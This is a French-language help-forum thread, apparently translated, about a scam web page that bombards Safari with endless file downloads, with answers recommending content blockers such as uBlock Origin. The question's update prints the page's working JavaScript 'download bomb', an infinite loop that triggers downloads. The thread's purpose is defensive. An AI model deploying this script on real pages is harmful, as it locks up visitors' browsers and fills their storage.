Contexte
Une nouvelle page de spam a commencé à apparaître sur de nombreux sites "douteux" (sites de cinéma, etc.). Cette nouvelle page de spam s'inscrit dans la catégorie des faux scans, MacKeeper, "VOUS AVEZ UN VIRUS", etc.
Problème
Le problème avec cette nouvelle page est qu'au lieu d'avoir simplement une fenêtre contextuelle, la page lance en fait un téléchargement de fichiers aléatoires de 2 Ko (non dangereux ne contient que du texte aléatoire) à plusieurs reprises tous les ~ 1 ms. Le dossier de téléchargement se remplit avant de pouvoir fermer la fenêtre et vous êtes en train de supprimer plus de 1000 fichiers. Contrairement à un problème similaire dans lequel un spam de page fait apparaître la boîte de dialogue d'impression, il y a très peu de temps pour réagir.
Échec des tentatives de dépannage
J'ai essayé de verrouiller le dossier de téléchargement. Bien qu'il ait empêché les téléchargements de ... eh bien ... de le télécharger, une boîte de dialogue (voir image) apparaît. Habituellement, je pouvais simplement fermer cette boîte de dialogue, mais comme le téléchargement est tenté toutes les ~ 1 ms, une nouvelle boîte de dialogue apparaît chaque fois que j'essaie de fermer, m'empêchant de fermer la fenêtre.
Forcer à quitter Safari, ce qui arrête le téléchargement (après les téléchargements de 1k) mais je perds toutes mes autres fenêtres
Changer les paramètres en «Demander pour chaque téléchargement» dans les préférences de Safari. Ne fonctionne pas parce que 1 Ko de boîtes de dialogue séparées m'empêchent même de fermer l'onglet. Éventuellement planter Safari.
Question
Comment puis-je empêcher les téléchargements de spam dans Safari?
MISE À JOUR:
Voici le code à l'origine du téléchargement (obtenu en désactivant JavaScript et en parcourant manuellement le code):
function download(g, h, j) {
var k = new Blob([g], {
type: j
});
if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
else {
var l = document.createElement("a"),
m = URL.createObjectURL(k);
l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
}
}
function bomb_ch() {
var g = Math.random().toString(36).substring(20),
h = Math.floor(50 * Math.random() + 25);
while (true) download(h, g, g)
}
function ch_jam() {
bomb_ch()
}
Remarque: j'ai rencontré des problèmes lors de l'exécution de JS sur une page personnalisée. Il a gelé au lieu d'être téléchargé. J'ai pu émuler le téléchargement en utilisant une setInterval()
fonction appelant la download
fonction.
Plus d'informations: https://blog.malwarebytes.com/malwarebytes-news/2018/02/tech-support-scammers-find-new-way-jam-google-chrome/
Réponses:
Ne serait-ce pas un bon cas pour un bloqueur de contenu Safari / bloqueur javascript qui est sélectif?
Ghostery pourrait être un bon point de départ sur Mac pour voir si vous pouvez utiliser des règles prédéfinies pour annuler les scripts intersites / l'injection de publicité dans les pages Web. Bien sûr, si la page sert directement ce contenu, vous devrez désactiver complètement le javascript sur cette page ou en prendre note et bloquer simplement les sites qui complètent votre expérience intentionnellement ou en raison de la vente d'injection de publicité à toute personne ayant les moyens de payer ces articles effrayants et articles frauduleux.
Si vous voulez être plus précis - les scripts utilisateur de type GreaseMonkey pourraient lutter contre cela avec suffisamment de connaissances JS de votre part (ou trouver quelqu'un qui a écrit le script pour bloquer l'itération d'aujourd'hui de ce malware).
Les nouvelles versions de Safari de OS pourraient aider à réduire un peu cela, mais il y a de l'argent à gagner par les personnes qui livrent cette charge de merde à votre Mac afin qu'elles s'adapteront probablement à toutes les technologies qui tentent de le rendre facile à bloquer. À moins que vous ne vouliez dépenser plus d'argent pour soutenir une entreprise qui maintient une bibliothèque de paramètres qui peuvent «taper-un-taupe» et s'adapter plus rapidement que les charlatans peuvent préparer de nouveaux codes dans leur chaufferie .
Vous devrez également décider si les sites Web qui le font sont également des charlatans qui font partie de la fraude, car ils devraient savoir que cela vous arrive, l'un des visiteurs qu'ils hébergent.
la source
Bien qu'il existe de nombreux bloqueurs de publicités pour Safari, il existe beaucoup moins de choix pour des bloqueurs de contenu basés sur des extensions à plus large spectre. Parmi ceux-ci, seuls deux se distinguent: Ghostery et uBlockOrigin [ lien d'information: https://github.com/gorhill/uBlock lien de téléchargement: https://safari-extensions.apple.com/?q=ublock%20origin .
Peuvent-ils faire ce que vous voulez et empêcher le bombardement de téléchargement que vos amis ont connu? Oui, avec la distinction que Ghostery aurait besoin d'une personnalisation des règles où uBlockOrigin est configuré pour le faire par défaut.
Il se trouve que uBlockOrigin a bloqué cet exploit particulier un mois avant l'annonce de Malwarebytes dans votre lien "Plus d'infos". Je ne connais pas la chronologie de Ghostery.
Je vous recommanderais de leur donner un essai.
la source